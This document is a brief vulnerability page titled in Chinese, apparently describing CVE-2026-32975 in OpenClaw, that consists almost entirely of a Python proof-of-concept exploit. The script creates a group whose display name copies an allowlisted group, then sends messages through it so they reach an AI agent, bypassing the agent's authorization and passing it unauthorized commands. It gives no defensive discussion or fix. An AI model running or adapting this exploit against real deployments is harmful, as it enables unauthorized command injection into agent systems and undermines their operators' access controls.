CVE-2026-32975 OpenClaw弱授权绕过漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-32975 # This script demonstrates how an attacker can bypass authorization # by creating a group with the same display name as an allowlisted group. import requests def exploit(target_url, allowlisted_group_name): # Step 1: Create a malicious group with the same display name create_group_url = f"{target_url}/api/groups" payload = { "display_name": allowlisted_group_name, # The vulnerable mutable field "description": "Malicious group created by attacker" } print(f"[*] Creating malicious group with name: {allowlisted_group_name}") response = requests.post(create_group_url, json=payload) if response.status_code == 201: malicious_group_id = response.json().get('id') print(f"[+] Malicious group created with ID: {malicious_group_id}") # Step 2: Send a message from the malicious group to the Agent send_msg_url = f"{target_url}/api/messages" message_payload = { "group_id": malicious_group_id, "content": "Unauthorized command execution via weak auth" } print(f"[*] Sending message from malicious group...") msg_response = requests.post(send_msg_url, json=message_payload) if msg_response.status_code == 200: print("[!] Exploit successful! Message routed to Agent despite authorization bypass.") else: print("[-] Failed to route message.") else: print("[-] Failed to create group.") if __name__ == "__main__": # Replace with actual target and discovered allowlist name TARGET = "http://openclaw-target:8080" ALLOWLISTED_NAME = "admin-ops" # Example discovered allowlisted name exploit(TARGET, ALLOWLISTED_NAME)